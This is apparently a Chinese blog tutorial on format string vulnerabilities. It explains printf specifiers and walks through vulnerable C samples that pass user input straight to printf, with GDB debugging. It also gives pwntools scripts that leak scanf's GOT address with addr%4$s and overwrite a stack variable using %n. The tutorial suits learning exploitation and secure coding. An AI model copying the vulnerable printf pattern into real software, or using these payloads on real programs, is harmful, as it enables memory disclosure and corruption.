格式化字符串漏原理调试解析

本文从格式化字符串函数,到格式化字符串漏洞原理,再到格式化漏洞利用包括(获取栈变量数值、获取栈变量对应字符串、泄露任意地址内存、覆盖栈内存)方面与大家分享,不足之处请各位大佬指正,最开始在wiki上面学的格式字符串,里面的源码就直接用了wiki上面的例子,加一些调试等等
0x00格式化字符串(函数):
格式化字符串函数为接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。格式化字符串在利用的时候主要分为
格式化字符串函数和格式化字符串
常见的有格式化字符串函数有输入函数(scanf),输出函数(printf、fprintf。通常会使用printf([格式化字符串],参数)的形式来进行调用,
printf函数的格式化字符串常见的有:
%d/i,有符号整数
%u,无符号整数
%x/X,16进制unsigned int
%o,8进制unsigned int
%c用来输出一个字符。
%s用来输出一个字符串。
%x表示以十六进制数形式输出整数。(%x(输出16进制数,前面没有0x),%p(输出16进制数,前面带有0x))
%p, void *型,输出对应变量的值。printf("%p",a)用地址的格式打印变量a的值,printf("%p", &a)打印变量a所在的地址。
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
比较常见的格式化字符串漏洞模式:
形如:
char str[50];
scarf("%s",str);
printf(str)

0x01 格式化字符串漏洞原理

格式化字符串函数是根据格式化字符串函数来进行解析的。相应的要被解析的参数的个数也由这个格式化字符串所控制。
一般使用大概框架是这样的
char str[50];
scanf("%s",str);
printf("%s",str);
但是有些人可能写成了下面这种形式
char str[50];
scarf("%s",str);
printf(str);
printf函数族的设计:当第一个参数可被控制时,攻击者将有机会对任意内存地址进行读写操作。所以为了不让攻击者有机可乘,不能printf中的format字符串的操纵权交给用户。因此要保证printf函数的第一个参数是不可变的,。
printf函数执行之前并不知道参数个数,它的内部有个指针,用来索检格式化字符串。对于特定类型%,就去取相应参数的值,直到索检到格式化字符串结束。
在进入printf之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况
当前字符不是%,直接输出到相应标准输出。
当前字符是%, 继续读取下一个字符
如果没有字符,报错
如果下一个字符是%,输出%
否则根据相应的字符,获取相应的参数,对其进行解析并输出
当我们没有提供参数时,程序会将栈上存储格式化字符串地址按照所输入的解析:
char str[50];
scarf("%s",str);
printf(str);
尽管没有参数,上面的代码也会将string 后面的内存当做参数以解析其地址对应的字符串输出。这样就会造成攻击者有机会对任意内存地址进行读写操作
0x02 格式化字符串漏洞利用
利用格式化字符串漏洞,还可以获取所想要输出的内容。一般会有如下几种操作
1、泄露栈内存:获取某个变量的值、获取某个变量对应地址的内存
2、泄露任意地址内存:利用GOT表得到libc函数地址,进而获取libc,进而获取其它libc函数地址
(1)获取栈变量数值

#include <stdio.h>
int main() 
{
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

在终端运行一下这个程序:
在这里插入图片描述正常情况下输入%08x.%08x.%08x时,通过scanf(“%s”, s)将“%08x.%08x.%08x”赋给s,printf(“%08x.%08x.%08x.%s\n”, a, b, c, s)打印00000001.22222222.ffffffff.%08x.%08x.%08x,说明s赋值成功;看一下 printf(s),也就是printf(“%08x.%08x.%08x”),按照格式化字符的解析规则,解析%08x时会到栈上[高地址方向]相邻处寻找参数,由于是使用%08x,则将栈上的值作为变量直接打印。利用GDB来调试一下
首先将断点下到printf函数处
在这里插入图片描述在这里插入图片描述
当前第一个变量为返回地址%esp指向返回地址[main+84]时,高地址方向依次是格式化字符串的地址[->标出来地址指向的字符串值]、变量a的值[0x00000001]、变量b的值[0x22222222]、变量c的值[0xffffffff],以及变量s字符串的地址[->提示了s字符串的存储地址0xffffd4a0下的字符串值],我们再继续运行一下
在这里插入图片描述
程序正常输出了每一个变量对应的数值,接着往下看

在这里插入图片描述
由于格式化字符串为%x%x%x,所以,程序会将栈上的0xffffd4a0及其之后的数值分别作为第一,第二,第三个参数按照int型进行解析,分别输出。继续运行,得到如下结果

在这里插入图片描述
利用上面的方法,我们可以依次获得栈中的每个参数,当我们知道想获取的参数是第几个的时候也可以直接获取栈中被视为第n+1个参数的值
%n$x,是用于指定参数,来对应格式化字符串的解析
因为格式化参数里面的n指的是该格式化字符串对应的第n个输出参数,那相对于输出函数来说,就是第n+1个参数了。

在这里插入图片描述
得到了第三个参数也就是printf的第4个参数所对应的值f7e946bb。
这里可能每次得到的结果一样 ,因为栈上的数据会因为每次分配的内存页不同而有所不同,因为栈不对内存页做初始化。
(2)获取栈变量对应字符串
获得栈变量对应的字符串,需要用到%s。也就是把%d,%x,%f这些输出栈内容的类型改成%s这种输出把栈内容作为地址指向的内容。还是用上面的那一段代码来调试
在这里插入图片描述
同样的我们也可以指定获取栈上第几个参数作为格式化字符串输出,这里我们用到的是(%order $x)
(3)泄露任意地址内存
比如我们想要泄露某一个libc函数的got表内容,从而得到其地址,进而获取libc版本以及其他函数的地址,这时候,泄露任意地址内存就能够完全控制泄露某个指定地址的内存。
一般来说,在格式化字符串漏洞中,所读取的格式化字符串都是在栈上的,就像上述程序中char s[50]+scanf(“%s”, s)+printf(s);先输入带有攻击意义的s,再触发printf的格式化字符串漏洞。s是局部变量,肯定放在当前main函数的栈帧中,[s的地址肯定在main栈帧区域]。也就是说,在调用输出函数printf(s)的时候,其实,第一个参数s的值其实就是该格式化字符串的地址【位于main栈帧内】。上面的gdb调试过程,返回地址处的高地址方向,就是触发格式化字符串漏洞的s的地址即0xffffd4a0,同时该地址存储的也确实是”%s”格式化字符串内容

在这里插入图片描述
可以控制该格式化字符串,如果知道该格式化字符串在输出函数调用时是第几个参数,假设该格式化字符串相对函数调用为第k个参数。那就可以通过如下的方式来获取某个指定地址addr的内容。
这里我们用addr%k $s
如果格式化字符串在栈上,那么就一定确定格式化字符串的相对偏移,因为在函数调用的时候栈指针至少低于格式化字符串地址8字节或者16字节
在这里插入图片描述
那么接下来是如何确定K的数值:由0x41414141处所在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第5个参数,但是是格式化字符串的第4个参数。(因为0x41414141就是AAAA的ASSIC码)后面的0x70257025重复
在这里插入图片描述在这里插入图片描述运行发现程序崩溃了,因为试图将该格式化字符串所对应的值作为地址进行解析,但是没有作为一个合法的地址被解析,【即“%4 $s”的ASSIC码0x73243425】所以程序就崩溃了。
如果设置一个可访问的地址,比如说scanf@got?应该是输出scanf对应的地址。这样就成功泄露了GOT表的信息
注意:如果是用scanf函数来读入自定义的格式化字符串,比如之前的scanf(“%s”,s);s的值不能包含0的字符,如:0a,0b,0c,00等字符。因为scanf函数会对0a,0b,0c,00等字符有一些奇怪的处理,导致无法正常读入。
这里可以写个exp运行一下

from pwn import *
p = process('./leakmemory')
leakmemory = ELF('./leakmemory')
scanf_got = leakmemory.got['scanf']#获取GOT条目的地址
print hex(scanf_got)
payload = p32(scanf_got) + '%4$s'#构造payload,即addr%4$s
print payload
gdb.attach(sh) #使用gdb.attach(sh)来放入gdb进行调试
p.sendline(payload) #从gdb调试出来后才发送payload到sh[本地/远程]
p.recvuntil('%4$s\n') #接收printf("..",a,b,c,s)的打印结果,接收到%4$s为止
print hex(u32(p.recv()[4:8]))
p.interactive()

(4)覆盖栈内存
修改栈上变量的值,修改任意地址变量的内存:只要变量对应的地址可写,就可以利用格式化字符串来修改其对应的数值。前面提到的格式化字符串中的类型
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。这里我们就可以利用这一特性

一、覆盖栈上的变量,二、覆盖指定地址的变量

#include <stdio.h>
int a = 150, b = 200;
int main() {
  int c = 250;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

找一下字符串在堆栈里的位置。数一下发现是第六个参数
在这里插入图片描述第6个参数处的值就是存储变量c的地址,可以利用%n的特征来修改c的值。payload如下
[addr of c]%012d%6$n

from pwn import *
sh = process('./overflow')
overflow = ELF('./overflow')
c_addr = int(sh.recvuntil('\n',drop=True),16)
print hex(c_addr)
payload = p32(c_addr)+'%012d' +'%6$n'
sh.sendline(payload)
print sh.recv()
sh.interactive()

修改C的值为16,这里因为p32后的c_addr占据4个字节,%012d 为长度为12个字节的整数,不足则以0补全,所以长度加起来为16.所以可以写到第六个参数并且是c的地址里。将C改变为16

总结:利用%x来获取对应栈的内存,也可以使用%p,可以不用考虑位数的区别。
利用%s来获取变量所对应地址的内容,只不过有零截断。
利用%order $x来获取指定参数的值,利用%order $s来获取指定参数对应地址的内容直接获取栈中被视为第n个输出参数%n $x
泄露任意地址内存addr%k $s
覆盖栈内存%n

发布了6 篇原创文章 · 获赞 0 · 访问量 172

猜你喜欢

转载自blog.csdn.net/weixin_45948183/article/details/105087685